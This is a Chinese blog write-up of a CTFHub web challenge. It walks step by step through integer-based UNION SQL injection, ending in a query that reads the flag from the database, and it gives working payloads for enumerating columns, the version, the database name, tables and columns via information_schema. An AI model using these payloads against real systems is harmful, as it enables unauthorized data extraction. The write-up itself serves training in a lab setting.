CTFHUB 2017-赛客夏令营-Web-injection

2017-赛客夏令营-Web-injection

启动靶机,打开环境:

在这里插入图片描述

页面只有一句话:

Practice makes perfect.(实践使人完美。)

观察到链接中存在GET传参:
在这里插入图片描述

根据题目名与连接中的GET传参判断应该为注入

输入'(单引号)查看,并无回显,判断为整形注入
尝试查看列数:

1 order by 2 #

成功回显,推断其有两列
在这里插入图片描述
继续判断其回显点位:

1111 union select 11,22 #

得到回显内容:22
在这里插入图片描述
判断出22为回显点位,查看当前数据库版本信息:

1111 union select 11,version(); #

在这里插入图片描述
继续查看数据库名:

1111 union select 11,database(); #

在这里插入图片描述
查询到当前数据库名为:ctfhub,继续查询该数据库中的表名:

11111 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

通过group_concat()函数将所有的表查询出来,得到flaginfo两个表:

在这里插入图片描述
继续查询flag表中的列:

11111 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

查询到flag表中只有flag一列:
在这里插入图片描述
查看flag列中的内容:

11111 union select 1,flag from ctfhub.flag #

在这里插入图片描述

得到flag
很基础的SQL注入

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值